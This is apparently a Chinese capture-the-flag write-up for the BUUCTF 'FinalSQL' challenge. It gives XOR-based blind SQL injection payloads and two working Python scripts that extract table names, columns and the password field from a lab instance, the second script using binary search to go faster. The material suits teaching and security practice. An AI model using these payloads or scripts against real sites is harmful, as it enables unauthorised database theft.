BUUCTF-WEB 【极客大挑战 2019】FinalSQL 1

考点:异或盲注

payload

1
2
3
4
5
6
7
8

获取表名
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0)^1
[*] F1naI1y,Flaaaaag~
猜测列名
1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='表名')),1,1))>0)^1
猜测值
1^(ord(substr((select(group_concat(列名))from(表名)),1,1))>0)^1

二分查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
arr = [i for i in range(33,127)]
start = 0
end = len(arr) + 1
item = 97

while start <= end:
mid = (start+end)//2
if arr[mid] < item:
start = mid + 1
elif arr[mid] > item:
end = mid -1
elif arr[mid] == item:
print('[+] mid='+str(mid))
break

print("end")

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import time
def ascii_str(): #生成库名表名字符所在的字符列表字典

str_list=[]
for i in range(33,127):#所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list #返回字符列表



def exp_table_name(url): # 猜解表名
arr_str = ascii_str()
table_name = ""
for i in range(1,20):
for s in arr_str:
payload = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))=%s)^1"%(i, ord(s))
payload_url = url + payload
print(payload)
time.sleep(1)
resp = requests.get(payload_url, timeout=10)
if "Click" in resp.text:
# print("[*] " + s)
break

table_name += s
print("[*] " + table_name)

return table_name



def exp_column_name(url):
str_arr = ascii_str()
column_name = ""
for i in range(1,100):
for s in str_arr:
payload = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))=%s)^1"%(i, ord(s))
payload_url = url + payload
print(payload)
time.sleep(1)
resp = requests.get(payload_url, timeout=10)
if "Click" in resp.text:
# print("[+] " + s)
column_name += s
break
print("[+] " + column_name)

return column_name

def exp_column_value(url): # 猜解单个字段值

arr_str = ascii_str()
column_value = ""
for i in range(100, 200):
for s in arr_str:
payload = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%s)^1"%(i, ord(s))
payload_url = url + payload
time.sleep(1)
print(payload)
resp = requests.get(payload_url)
if "Click" in resp.text:
# print("[+] " + s)
column_value += s

break
print("[*] " + column_value)
return column_value


if __name__=='__main__':
url = "http://d306a06c-16fb-4f1b-8cc1-96da2f301860.node3.buuoj.cn/search.php?id="
# exp_table_name(url)
# [*] F1naI1y,Flaaaaag~
# exp_column_name(url)
# id, username, password
exp_column_value(url)

这个脚本特别慢,特别是最后猜测字典的时候,差不多有两百来位,可能要猜一天,只好研究一下怎么把二分查找运用到盲注脚本中来。

二分查找逻辑

二分查找是不断根据提交两个数的中间值后的反馈来不断更换查找边界来找到目标值,比如,我们需要在1-1000之间查找 666,提交中间值 500,发现小于目标数666,就会把最开始 start 的边界换成500,然后再继续提交中间数750,发现大于目标数666,就会把末尾的 end 换成 750 ,不断改变不断的改变边界变量,直到找到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
import time


def exp_column_value(url, i, mid): # 猜解单个字段值
payload = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%s)^1"%(i,mid)
payload_url = url + payload
time.sleep(1)
print(payload)
resp = requests.get(payload_url)
# 如果能够执行下列语句 则代表着 大于或等于
if "Click" in resp.text:
# 再次进行判断
payload = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%s)^1"%(i,mid)
payload_url = url + payload
time.sleep(1)
print(payload)
resp = requests.get(payload_url)
if "Click" in resp.text:
# 拿到目标数
return 200
else:
# 小于目标值
return 203
# 大于目标值
else:
return 400


def exp(url):
column_value = ""
for i in range(1,300):
start = 33
end = 127
while start <= end:
mid = (start + end) // 2
res = exp_column_value(url,i,mid)
print("[*] 返回码:" + str(res))
# 代表找到
if res == 200:
print("[+] mid = "+str(mid))
column_value += chr(mid)
break
# 代表是小于字符ascii码值
elif res == 203:
start = mid + 1
# 代表是大于 ascii码值
elif res == 400:
end = mid - 1
print("[+] " + column_value)


if __name__=='__main__':
url = "http://4b10de77-d978-4a22-82f7-e983cfefa564.node3.buuoj.cn/search.php?id="
exp(url)

加上time.sleep(1) 是因为BUUCTF有限制,如果不加几分钟就跑出来了,用算法和不用算法对比起来,算法效率真高。